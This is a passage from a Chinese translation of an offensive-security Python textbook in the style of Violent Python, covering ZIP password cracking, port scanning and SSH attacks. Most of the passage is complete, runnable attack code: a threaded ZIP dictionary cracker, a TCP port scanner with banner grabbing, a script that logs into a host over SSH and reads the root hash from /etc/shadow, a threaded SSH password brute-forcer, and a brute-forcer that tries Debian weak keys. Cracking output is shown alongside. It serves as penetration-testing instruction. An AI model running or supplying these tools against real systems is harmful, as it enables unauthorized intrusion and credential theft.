zFile = zipfile.ZipFile('unzip.zip') passFile = open('dictionary.txt') for line in passFile.readlines(): password = line.strip('\n') t = threading.Thread(target=extractFile, args=(zFile, password)) t.start() """ guess = extractFile(zFile, password) if guess: print('Password = ', password) return else: print("can't find password") return """ if __name__ == '__main__': main() 现在,我们想用户可以指定要破解的文件和字典,我们需要借助 Python 标准库 中的 optparse 模块来指定参数,具体的讲解将在下一章讲解,这里我们只提供 本例的代码: # coding=UTF-8 """ ZIP压缩文件破解程序加强版,用户可以自己指定想要破解的文 件和破解字典,多线程破解 """ import zipfile import threading import optparse def extractFile(zFile, password): try: zFile.extractall(pwd=password) print("Found Passwd : ", password) except: pass def main(): parser = optparse.OptionParser('usage%prog -f -d ') parser.add_option('-f', dest='zname', type='string', help='specify zip file') parser.add_option('-d', dest='dname', type='string', help='specify dictionary file') options, args = parser.parse_args() if options.zname == None | options.dname == None: print(parser.usage) exit(0) else: zname = options.zname dname = options.dname zFile = zipfile.ZipFile(zname) dFile = open(dname, 'r') for line in dFile.readlines(): password = line.strip('\n') t = threading.Thread(target=extractFile, args=(zFile, password)) t.start() if __name__ == '__main__': main() 本章总结 本章我们就认识了 Python 的基本用法,写了一个 UNIX 的密码破解器和 ZIP 文 件密码破解器,下一章我们将用 Python 做进一步的渗透测试! 第 2 章:渗透测试 本章内容: 1.构建一个端口扫描器 2.构建一个 SSH 的僵尸网络 3.通过 FTP 连接 WEB 来渗透 4.复制 Conficker 蠕虫 5.写你的第一个 0day 利用代码 做一个战士不是一件简单的事。这是一场无休止的、会持续到我们生命最后一 刻的斗争。没有人生下来就是战士, 就像没人生下来就注定庸碌, 是我们让自 己变成这样或者那样! —Kokoro by Natsume Sosek(夏目漱石), 1914, Japan(日本) 引文:Morris 蠕虫病毒——如今仍然会有效果么? 在 StuxNet 蠕虫病毒瘫痪了伊朗在 Bushehr 和 Natantz(地名)的核动力的 22 年前,一个康奈尔大学的研究生推出了第一款“数字炸药”。 Robert Tappen Morris Jr(罗伯特·莫里斯),国家安全局国家计算机安全中心的负责 人的儿子,用一种被巧妙地称为 Morris 蠕虫的病毒感染了 6000 个工作站。 6000 个工作站在今天的标准下似乎微不足道,但在 1988 年,这个数字代表了 当时互联网上所有计算机的百分之十。为了消除莫里斯的蠕虫病毒留下的伤害, 美国政府问责局提出了 100000000 美元以上的预算。那么这种蠕虫病毒是如 何工作的呢? 莫里斯的蠕虫病毒使用了三管齐下的攻击方式来破坏系统。它首先利用了 UNIX 的 sendmail 程序的漏洞。其次,他利用了 Unix 系统守护进程功能的一 个用以分离的漏洞。最后,他会用一些常见的用户名和密码,试图连接到使用 远程 shell 的目标(RSH)。如果这三次攻击成功执行,蠕虫会用一个小的程 序,像钩子一样把病毒(Eichin & Rochlis, 1989)的剩余部分拉过来。 与此相似的攻击如今仍然会有效果么?我们能学习写出几乎相同的一些东西么? 这些问题为本章剩余要讲解的部分提供了基础。莫里斯用 C 语言编写了他的大 部分攻击软件。然后,C 语言是一个非常强大的语言,学习他也是有挑战性的。 与此形成鲜明对比的是,python 语言具有易于掌握的语法和丰富的第三方模 块。这提供了一个更好的平台支持,并且让大多数开发者能相当容易的发起攻 击。在接下来的内容中,我们将使用 python 来重新构建莫里斯蠕虫的部分代 码。 构建一个端口扫瞄器 侦查是任何网络攻击的第一步。在选择目标的漏洞利用程序之前攻击者必须找 出漏洞在哪。在下面的章节中,我们将建立一个小型的侦查脚本用来扫描目标 主机开放的 TCP 端口。然而,为了与 TCP 端口进行交互,我们需要先建立 TCP 套接字。 Python,像大多数现代编程语言一样,提供了访问 BCD 套接字的接口。 BCD 套接字提供了一个应用程序编程接口,允许程序员编写应用程序用以执行 主机之间的网络通讯。通过一系列的 socket API 函数,我们可以创建,绑定, 监听,连接或者发送流量在 TCP/IP 套接字上。在这一点上,更好的理解 TCP/IP 和 socket 是为了帮助我们更加进一步的发展我们自己的攻击。 大多数的 Internet 访问程序是在 TCP 之上的。例如,一个目标组织,Web 服 务可能运行在 TCP 的 80 端口之上,邮件服务可能运行在 TCP 的 25 端口之上, 文件传输服务可能运行在 TCP 的 21 端口之上。为了连接目标组织的这些服务, 攻击者必须知道 Internet 协议的地址和与服务相关的 TCP 端口。对目标组织 熟悉的人可能有这些信息,但攻击者可能没有。 攻击者经常以端口扫描拉开一次成功渗透攻击的序幕。一种类型的端口扫描就 是发送一个 TCP SYN 包里面包含了一系列的常用的端口并等待 TCP ACK 响应, 从而判断端口是否开放。相比之下,也可以用一个全握手协议的 TCP 连接扫描 来确定服务或者端口的可用性。 TCP 全连接扫描 让我们开始编写我们自己的 TCP 端口扫瞄器,利用 TCP 全连接扫描来识别主 机。首先,我们要导入 Python 的 BCD 套接字 API 模块 socket。Socket API 提供了一系列的函数将用来实现我们的 TCP 端口扫描。为了深入了解,请 查看 Python 的标准库文档,地址:http://docs.Python.org/library/socket.html socket.gethostbyname(hostname) :这个函数将主机名换换为 IP 地址,如 www.syngress.com 将会返回 IPv4 地址为 69.163.177.2。 socket.gethostbyaddr(ip_address) :这个函数传入一个 IP 地址将返回一个元组, 其中包含主机名,别名列表和同一接口的 IP 地址列表。 socket.socket([family[, type[, proto]]]) :这个函数将产生一个新的 socket,通过给定 的 socket 地址簇和 socket 类型,地址簇的可以是 AF_INET(默认),AF_INET6 或者 是 AF_UNIX, 另外,socket 类型可以为一个 TCP 套接字即 SOCK_STREAM(默认),或者是 UDP 套 接字即 SOCK_DGRAM,或者其他的套接字类型。最后协议号通常为零,在大多 数 情况下省略不写。 socket.create_connection(address[, timeout[, source_address]] :这个函数传入一个 包含 IP 地 址和端口号的二元元组返回一个 socket 对象,此外还可以选择超时重连。 (注:这个 函数比 socket.connect()更加高级可以兼容 IPv4 和 IPv6)。 为了更好的理解我们的 TCP 端口扫瞄器的工作原理,我们将脚本分为五个步骤, 一步一步的写出每个步骤的代码。第一步,我们要输入目标主机名和要扫描的 常用端口列表。接着,我们将通过目标主机名得到目标的网络 IP 地址。我们将 用列表里面的每一个端口去连接目标地址,最后确定端口上运行的特殊服务。 我们将发送特定的数据,并读取特定应用程序返回的标识。 在我们的第一步中,我们从用户那接受主机名和端口。因此我们的程序将利用 optparse 标准库来解析命令行选项,调用 optparse.OptionParser()创建一个 选项分析器,然后通过 parser.add_option()函数来指定命令选项。(注: optparse 模块在 2.7 版本后将被弃用也不会得到更新,会使用 argparse 模块 来替代)下面的例子显示了一个快速解析目标主机和扫描端口的方法。 # coding=UTF-8 import optparse parser = optparse.OptionParser('usage %prog –H -p ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-p', dest='tgtPort', type='int', help='specify target port') (options, args) = parser.parse_args() tgtHost = options.tgtHost tgtPort = options.tgtPort if (tgtHost == None) | (tgtPort == None): print(parser.usage) exit(0) else: print(tgtHost) print(tgtPort) 接下来,我们将构建两个函数 connScan 和 portScan,portScan 函数需要主机 名和端口作为参数。它首先尝试通过 gethostbyname()函数从友好的主机名中 解析出主机 IP 地址。接下来,它将打印出主机名或者 IP 地址,然后枚举每一 个端口尝试着用 connScan 函数去连接主机。connScan 函数需要两个参数: tgtHost and tgtPort, 并尝试产生一个到目标主机端口的连接。如果成功的话,connScan 将打印端 口开放的信息,如果失败的话,将打印端口关闭的信息。 # coding=UTF-8 import optparse import socket def connScan(tgtHost, tgtPort): try: connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connSkt.connect((tgtHost, tgtPort)) print('[+]%d/tcp open' % tgtPort) connSkt.close() except: print('[-]%d/tcp closed' % tgtPort) def portScan(tgtHost, tgtPorts): try: tgtIP = socket.gethostbyname(tgtHost) except: print("[-] Cannot resolve '%s': Unknown host" % tgtHost) return try: tgtName = socket.gethostbyaddr(tgtIP) print('\n[+] Scan Results for: ' + tgtName[0]) except: print('\n[+] Scan Results for: ' + tgtIP) socket.setdefaulttimeout(1) for tgtPort in tgtPorts: print('Scanning port ' + str(tgtPort)) connScan(tgtHost, int(tgtPort)) #测试是否有效 portScan('www.baidu.com', [80,443,3389,1433,23,445]) 捕获应用标识 为了从捕获我们的目标主机的应用标识,我们必须首先插入额外的验证代码到 connScan 函数中。一旦发现开放的端口,我们发送一个字符串数据到这个端 口然后等待响应。收集这些响应并推断可能会得到运行在目标主机端口上的应 用程序的一些信息。 # coding=UTF-8 import optparse import socket def connScan(tgtHost, tgtPort): try: connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connSkt.connect((tgtHost, tgtPort)) connSkt.send('ViolentPython\r\n') results = connSkt.recv(100) print('[+]%d/tcp open' % tgtPort) print('[+] ' + str(results)) connSkt.close() except: print('[-]%d/tcp closed' % tgtPort) def portScan(tgtHost, tgtPorts): try: tgtIP = socket.gethostbyname(tgtHost) except: print "[-] Cannot resolve '%s': Unknown host" %tgtHost return try: tgtName = socket.gethostbyaddr(tgtIP) print('\n[+] Scan Results for: ' + tgtName[0]) except: print('\n[+] Scan Results for: ' + tgtIP) socket.setdefaulttimeout(1) for tgtPort in tgtPorts: print('Scanning port ' + str(tgtPort)) connScan(tgtHost, int(tgtPort)) def main(): parser = optparse.OptionParser('usage %prog –H -p ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-p', dest='tgtPort', type='int', help='specify target port') (options, args) = parser.parse_args() tgtHost = options.tgtHost tgtPort = options.tgtPort args.append(tgtPort) if (tgtHost == None) | (tgtPort == None): print('[-] You must specify a target host and port[s]!') exit(0) portScan(tgtHost, args) if __name__ == '__main__': main() 例如说,扫描一个站点,以下是扫描获得的信息: 可以看到目标主机的开放端口和相应的服务版本,再以后的入侵中将会用到这 些信息。 多线程扫描 因为每一个 socket 都有时间延迟,每一个 socket 扫描都将会耗时几秒钟,虽 然看起来无足轻重,但是如果我们扫描多个端口和主机延迟时间将迅速增大。 理想情况下,我们希望这些 socket 按顺序扫描。引入 Python 线程。线程提供 了一种同时执行的方式。在我们的扫描中利用线程,只需将 portScan()函数的迭代改一下。请注意,我们可以把每一个 connScan()函数都 当做是一个线程。在迭代的过程中产生的每一个线程将在同时执行。 for tgtPort in tgtPorts: print('Scanning port ' + str(tgtPort)) t = threading.Thread(target=connScan, args=(tgtHost, int(tgtPort))) t.start() 多线程在速度上给我们提供了显著地优势,但是目前有一个缺点,我们的函数 connScan()打印在屏幕上的内容时如果多线程在同一时刻打印的话可能会出现 乱序。为了让函数完整正确的输出信息,我们就使用信号量。一个简单的信号 量为我们提供了一个锁来阻止其他线程进入。注意在打印输出之前,我们抢占 一个锁使用 screenLock.acquire()来加锁。如果锁打开,信号量将允许线程继 续运行然后打印输出,如果锁定,我们将要等到控制信号量的进程释放锁。利 用信号量,我们可以保证在任何个定的时间只有一个线程在打印屏幕输出。在 我们的异常处理代码中,在结束之前将结束下面的代码快。 screenLock = threading.Semaphore(value=1) def connScan(tgtHost, tgtPort): try: connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connSkt.connect((tgtHost, tgtPort)) connSkt.send('ViolentPython\r\n') results = connSkt.recv(100) screenLock.acquire() print('[+]%d/tcp open' % tgtPort) print('[+] ' + str(results)) except: screenLock.acquire() print('[-]%d/tcp closed' % tgtPort) finally: screenLock.release() connSkt.close() 将所有的功能组合在一起,我们将产生我们最终的端口扫面器脚本。 # coding=UTF-8 import optparse import socket import threading screenLock = threading.Semaphore(value=1) def connScan(tgtHost, tgtPort): try: connSkt = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connSkt.connect((tgtHost, tgtPort)) connSkt.send('ViolentPython\r\n') results = connSkt.recv(100) screenLock.acquire() print('[+]%d/tcp open' % tgtPort) print('[+] ' + str(results)) except: screenLock.acquire() print('[-]%d/tcp closed' % tgtPort) finally: screenLock.release() connSkt.close() def portScan(tgtHost, tgtPorts): try: tgtIP = socket.gethostbyname(tgtHost) except: print "[-] Cannot resolve '%s': Unknown host" %tgtHost return try: tgtName = socket.gethostbyaddr(tgtIP) print('\n[+] Scan Results for: ' + tgtName[0]) except: print('\n[+] Scan Results for: ' + tgtIP) socket.setdefaulttimeout(1) for tgtPort in tgtPorts: print('Scanning port ' + str(tgtPort)) t = threading.Thread(target=connScan, args=(tgtHost, int(tgtPort))) t.start() def main(): parser = optparse.OptionParser('usage %prog –H -p ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-p', dest='tgtPort', type='int', help='specify target port') (options, args) = parser.parse_args() tgtHost = options.tgtHost tgtPort = options.tgtPort args.append(tgtPort) if (tgtHost == None) | (tgtPort == None): print('[-] You must specify a target host and port[s]!') exit(0) portScan(tgtHost, args) if __name__ == '__main__': main() 运行这个脚本,我们将看到一下结果: 结合 Nmap 扫瞄器 我们前面的例子提供了一个快速执行 TCP 扫描的脚本。这可能会限制我们执行 额外的扫描,如 ACK, RST, FIN, or SYN-ACK 等 Nmap 工具包所提供的扫描。 它实际上是一个标准的扫描工具包,它提供了相当多的功能,这就引出了问了, 我们为什么不使用 Nmap 工具包了?进入 Python 真真美妙的地方。当 Fyodor Vaskovich 编写 Nmap 时用了 C 语言和 Lua 脚本。Nmap 能够被相 当不错的集成到 Python 中。Nmap 产生给予 XML 的输出,Steve Milner 和 Brian Bustin 编写了 Python 的 XML 解析库。它提供了我们用 Python 利用完 整功能的 Nmap 的能力。在开始之前,你必须安装 python-nmap 库,你能从 http://xael.org/norman/ python/python-nmap/安装 python-nmap 库。确保你安装时对应了不同的 Python2.X 或者 Python3.X 版本。 更多的扫描信息 其他类型的端口扫描 考虑到还有一些其他类型的扫描,虽然我们缺乏用 TCP 选项制作数据包的工具, 但在稍后的第五章中将会涉及到。那是看你能能添加一些扫描类型到你的端口 扫瞄器中。 TCP SYN 扫描 :又称为半开放扫描,这种类型的扫描发送一个 SYN 的 TCP 连接数包等待响应,当返回 RST 数据包表示端口关闭,返回 ACK 数据包 表示端口开放。 TCP NULL 扫描 :TCP 空扫描设置 TCP 的标志头为零。如果返回一个 RST 数 据包则表示这个端口是关闭的。 TCP FIN 扫描 : TCP FIN 扫描发送一个 FIN 数据包,主动关闭连接,等待一个 圆满的终止,如果返回 RST 数据包则表示端口是关闭的。 TCP XMAS 扫描 :TCP XMAS 扫描设置 PSH, FIN,和 URG TCP 标志位,如 返回 RST 数据包则表示这个端口是关闭的。 Python-nmap 库安装后,我们现在可以导入 nmap 库到我们的脚本中然后用 我们的 python 脚本运行 nmap 扫描,需要创建一个 PortScanner()类的实例 才能运行我们的扫描对象。该类有一个 scan()函数,接受主机 IP 地址和端口作 为输入,然后运行基本的 nmap 扫描。此外,我们可以索引扫描结果并打印端 口状态。以下为 nmap 扫描脚本代码: # coding=UTF-8 import optparse import nmap def nmapScan(tgtHost, tgtPort): nmScan = nmap.PortScanner() results = nmScan.scan(tgtHost, tgtPort) state = results['scan'][tgtHost]['tcp'][int(tgtPort)]['state'] print(" [*] " + tgtHost + " tcp/" + tgtPort + " " + state) def main(): parser = optparse.OptionParser('usage %prog –H -p ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-p', dest='tgtPort', type='string', help='specify target port') (options, args) = parser.parse_args() tgtHost = options.tgtHost tgtPort = options.tgtPort args.append(tgtPort) if (tgtHost == None) | (tgtPort == None): print('[-] You must specify a target host and port[s]!') exit(0) for tgport in args: nmapScan(tgtHost, tgport) if __name__ == '__main__': main() 运行我们的 nmap 扫描脚本,我们可以看到 nmap 多种方式扫描的准确结果 构建一个 SSH 的僵尸网络 现在,我们已经构建了一个端口扫描器来寻找目标,我们就可以开始利用每个 服务漏洞的任务了。莫里斯蠕虫包含了常用的用户名和密码,通过暴力破解来 远程连接目标的 shell(RSH),将其作为蠕虫的三种攻击向量之一。1988 年, RSH 提供了一种极好的(虽然不安全)方法用于系统管理员来远程连接到计算 机并控制它,从而在主机上执行一系列的终端命令。安全的 shell(SSH)协议已 经取代了 RSH 协议,通过接合 RSH 协议与公钥密码方案来确保安全。然而, 这只是停止了少数人使用常用的用户名和密码的暴力破解作为攻击向量。 SSH 蠕虫已经被证明是非常成功的和常见的攻击向量。查看我们最近一次对 www.violentpython.org 的 SSH 攻击的入侵检测(IDS)日志。在这,攻击者试 图用 UCLA(加利福尼亚大学洛杉矶分校),牛津,matrix 账户连接到机器。这 些都是有趣的选择。幸运的是,IDS 注意到攻击者的 IP 地址有强制制造密码的 趋势后阻止了攻击者进一步的 SSH 登陆尝试。 Received From: violentPython->/var/log/auth.log Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access to the system." Portion of the log(s): Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from 67.228.3.58 Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from 67.228.3.58 Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from 67.228.3.58 Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from 67.228.3.58 Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from 67.228.3.58 Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from 67.228.3.58 Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from 67.228.3.58 通过 Pexpect 与 SSH 进行沟通 (注:Pexpect 是 Don Libes 的 Expect 语言的一个 Python 实现,是一个用 来启动子程序,并使用正则表达式对程序输出做出特定响应,以此实现与其自 动交互的 Python 模块。 Pexpect 的使用范围很广,可以用来实现与 ssh、ftp 、telnet 等程序的自动交互;可以用来自动复制软件安装包并在不同机器自动 安装;还可以用来实现软件测试中与命令行交互的自动化) 让我们实现自己的自动化蠕虫通过暴力破解目标的用户凭据。因为 SSH 客户端 需要用户的交互,我们的脚本必须等待和匹配期望的输入,在发送进一步的输 入命令之前。考虑一下以下的情景,为了连接我们的 IP 地址为 127.0.0.1 的 SSH 机器,首先应用程序要求我们确认 RSA 密钥,在这种情况下,我们必须 回答“yes”才能继续。接着应用程序要求我们输入密码。最后,我们执行我们 的命令“uname -a”来确定目标机器的运行版本。 attacker$ ssh root@127.0.0.1 The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established. RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '127.0.0.1' (RSA) to the list of known hosts. Password:************** Last login: Mon Oct 17 23:56:26 2011 from localhost attacker:∼ uname -v Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011; root:xnu-1699.24.8∼1/RELEASE_X86_64 为了实现这种交互式的控制台,我们将充分利用名为 Pexpect 的第三方 Python 模块(可以到 http://pexpect.sourceforge.net 下载)。Pexpect 有和程 序交互的能力,并寻找预期的输出,然后基于预期做出响应,这使得它成为自 动暴力破解 SSH 用户凭证的一个极好的工具。 检查 connect()函数,这个函数接收用户名,主机名和密码,并返回一个 SSH 连接,从而得到大量的 SSH 连接。利用 Pexpect 模块,并等待一个预期 的输出。有三个预期的输出会出现---一个超时,一个信息提示这个主机有一个 新的公共密钥,或者是一个密码输入提示。如果结果是超时, session.expect()函数将会返回 0,接下来的选择语句警告这个并在返回之前打 印一个错误信息。如果 child.expect()函数捕捉到一个 ssh_newkey 信息,他 将返回 1.这将迫使函数发送一个消息“yes”来接受这个新 key。接下来,函数 在发送密码之前将等待密码提示。 import pexpect PROMPT = ['# ', '>>> ', '> ', '\$ '] def send_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before) def connect(user, host, password): ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + user + '@' + host child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] Error Connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] Error Connecting') return child.sendline(password) child.expect(PROMPT) return child 一旦通过认证,现在我们可以使用一个单独的函数 commend()发送命令给 SSH 会话。commend()函数接受一个 SSH 会话和命令字符串作为输入。然后 发送命令字符串给 SSH 会话,等待命令提示。捕捉到命令提示后将从 SSH 会 话中打印输出。 import pexpect PROMPT = ['# ', '>>> ', '> ', '\$ '] def send_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before) 将一切包装在一起,现在我们有了一个能连接和控制 SSH 会话交互的脚本了。 # coding=UTF-8 __author__ = 'dj' import pexpect PROMPT = ['# ', '>>> ', '> ', '\$ '] def send_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before) def connect(user, host, password): ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + user + '@' + host child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] Error Connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] Error Connecting') return child.sendline(password) child.expect(PROMPT) return child def main(): host = 'localhost' user = 'root' password = 'toor' child = connect(user, host, password) send_command(child, 'cat /etc/shadow | grep root') if __name__ == '__main__': main() 运行这个脚本。我们可以看到我们可以连接到一个 SSH 服务器,并远程控制者 个主机。我们通过简单的命令以 root 身份读取/etc/shadow 文件来显示哈希 密码,我么可以使用这个工具做一些更狡猾的事情,比如说用 wget 下载渗透 工具。你可以在 Backtrack 上通过生成 ssh-keys 来启动 SSH 服务。尝试启动 SSH 服务器,然后用这个脚本区连接它。 attacker# ssh-kengen Generating public/private rsa1 key pair. <..SNIPPED..> attacker# service ssh start ssh start/running, process 4376 attacker# python sshCommand.py cat /etc/shadow | grep root root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2E uQqgD 74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:9 9999:7::: 通过 Pxssh 暴力破解 SSH 密码 在写最后一个脚本时真的让我们更加深入的了解了 pexpect 模块的能力,但我 们可以简化之前的脚本利用 pxssh 模块。Pxssh 是 Pexpect 模块附带的脚本, 它可以直接与 SSH 会话进行交互,通过预先定义的 login(),logout(),prompt()函数。使用 pxssh 模块,我们可以压缩我们之前的 代码。 import pxssh def send_command(s, cmd): s.sendline(cmd) s.prompt() print(s.before) def connect(host, user, password): try: s = pxssh.pxssh() s.login(host, user, password) return s except: print '[-] Error Connecting' exit(0) s = connect('127.0.0.1', 'root', 'toor') send_command(s, 'cat /etc/shadow | grep root') 我们的脚本快要完成了。我们只需要对我们的脚本稍作修改就能暴力破解 SSH 认证。除了增加一些选项解析主机名,用户名和密码文件,我们唯一要做 的就是稍微修改一下 connect()函数。如果 login()函数成功登陆没有异常的话, 我们将打印消息提示发现密码,然后更新全局布尔值标识。否则,我们将捕捉 异常。如果异常显示密码“refused”,我们知道密码错误,直接返回。然而, 如果异常显示 socket 套接字“read_nonblocking”,我们可以假设这个 SSH 服务器超过了最大连接数,然后我们会睡眠几秒再次尝试相同的密码连接。 此外,如果异常显示 pxssh 难以获得命令提示符,我们将睡眠一会使它能获取 命令提示符。值得注意的是我们包含一个布尔值在 connect()的函数参照中。 connect()函数可以递归的调用其他的 connect()函数,我们希望调用者可以释 放连接锁信号量。 # coding=UTF-8 import pxssh import optparse import time import threading maxConnections = 5 connection_lock = threading.BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host, user, password, release): global Found, Fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser('usage%prog '+'-H -u -f ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-f', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if Found: print "[*] Exiting: Password Found" exit(0) if Fails > 5: print "[!] Exiting: Too Many Socket Timeouts" exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print("[-] Testing: " + str(password)) t = threading.Thread(target=connect, args=(host, user, password, True)) t.start() if __name__ == '__main__': main() 尝试用 SSH 密码暴力破解器破解得到一下结果。这很有趣当指示发现密码为 “alpine”,这是 iPhone 设备的默认根密码。2009 年末,一个 SSH 蠕虫攻 击了 iPhone。通常越狱的 iPhone 设备,用户能在 iPhone 上开启 OpenSSH 服务。而这被证明是非常有效的对于一些没有察觉的用户。蠕虫 iKeee 利用这个新问题尝试用默认密码攻击设备。该蠕虫的作者无意用这个蠕 虫做任何破坏,但是他们更改 iphone 的背景图片为 Rick Astley 的图片,并附 上一句话 “ikee never gonna give you up”. attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt [-] Testing: 123456789 [-] Testing: password [-] Testing: 1234567 [-] Testing: alpine [-] Testing: password1 [-] Testing: soccer [-] Testing: anthony [-] Testing: friends [+] Password Found: alpine [-] Testing: butterfly [*] Exiting: Password Found 通过弱密钥利用 SSH 密码提供了 SSH 服务的一种验证方式,但这不是唯一一种验证方式。此外, SSH 还提过了另外一种验证方式---公钥加密。在这种情况下,服务器知道公钥, 用户知道私钥。使用 RSA 或者 DSA 加密算法,服务器为登陆 SSH 的用户产生 他们的密钥。通常,这提供了一个极好的验证方式。通过生成 1024 位, 2048 位或者 4096 位的密钥,使我们很难用弱口令暴力破解。 然而,在 2006 年 Debian Linu 的发行版发生了一些有趣的事情。一个开发者 评论了一行通过代码自动分析工具找到的代码。代码的特定行保证 SSH 密钥产 生的熵。通过讲解代码的特定行,密钥的搜索空间的减少到 15 位熵.不仅仅是 15 位熵,这就意味着每个算法只存在 32767 个密钥。 HD Morre,CSO 和 Rapid7 的总设计师,生成了 1024 位和 2048 位的所有 的密钥,在两个小时以内。此外,他使这些密钥 debian_ssh_dsa_1024_x86.tar.bz2 可以自行下载。你可以先下载 1024 位的 密钥,然后提取密钥,删除公共密钥,因为只需要私人密钥来测试连接。 attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2 attacker# tar -xf debian_ssh_dsa_1024_x86.tar attacker# cd dsa/1024/ attacker# ls 00005b35764e0b2401a9dcbca5b6b6b5-1390 00005b35764e0b2401a9dcbca5b6b6b5-1390.pub 00058ed68259e603986db2af4eca3d59-30286 00058ed68259e603986db2af4eca3d59-30286.pub 0008b2c4246b6d4acfd0b0778b76c353-29645 0008b2c4246b6d4acfd0b0778b76c353-29645.pub 000b168ba54c7c9c6523a22d9ebcad6f-18228 <..SNIPPED..> attacker# rm -rf dsa/1024/*.pub 这个漏洞持续了两年之久才被安全人员发现。因此,有相当多的脆弱的 SSH 服 务器。如果我们能构建一个工具来利用这个漏洞就好了。然而,为了访问密钥 空间,可能要写一个小的 Python 脚本来暴力遍历 32767 个密钥为了验证一个 无密码,依赖公共密钥的 SSH 服务器。事实上,Warcat 小组写过这样的脚本, 并将它上传到了 milw0rm,就在漏洞被发现的当天。Exploit-DB 存档了 Warcat 小组的脚本,在 http://www.exploit-db.com/exploits/5720/网站上。 然而,我们将编写我们自己的脚本,利用用来编写密码暴力破解的的 pexcept 模块。 弱密钥测试的脚本和我们的暴力密码认证非常相似。为了用密钥认证 SSH,我 们需要输入 ssh user@host –i keyfile –o PasswordAuthentication=no。 在下面的脚本中,我们循环的设置已生成的密钥来尝试连接。如果连接成功, 我们将打印密钥文件的名字在屏幕上。此外,我们将设置两个全局变量 Stop 和 Fails,Fails 将用于统计因为远程主机关闭连接而导致的连接失败的数 量。如果数量超过 5,我们将终止脚本。如果我们的扫描触发了远程 IPS(入侵 防御系统)阻止我们的连接,那么就没有意义继续下去。我们 Stop 全局变量是 一个布尔值,告诉我们已经发现了一个密钥,main()函数也没有必要再开启新 的连接进程。 # coding=UTF-8 import pexpect import optparse import os import threading maxConnections = 5 connection_lock = threading.BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(user, host, keyfile, release): global Stop, Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ]) if ret == 2: print('[-] Adding Host to ∼/.ssh/known_hosts') child.sendline('yes') connect(user, host, keyfile, False) elif ret == 3: print('[-] Connection Closed By Remote Host') Fails += 1 elif ret > 3: print('[+] Success. ' + str(keyfile)) Stop = True finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser('usage%prog -H -u -d ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir(passDir): if Stop: print('[*] Exiting: Key Found.') exit(0) if Fails > 5: print('[!] Exiting: Too Many Connections Closed By Remote Host.') print('[!] Adjust number of simultaneous threads.') exit(0) connection_lock.acquire() fullpath = os.path.join(passDir, filename) print('[-] Testing keyfile ' + str(fullpath)) t = threading.Thread(target=connect, args=(user, host, fullpath, True)) t.start() if __name__ == '__main__': main() 测试目标主机,我们能看到我们获得了漏洞系统的访问权限。如果 1024 位的 密钥没用,尝试下载 2048 位的密钥,用同样的方式使用。 attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024 [-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d- 16764 [-] Testing keyfile 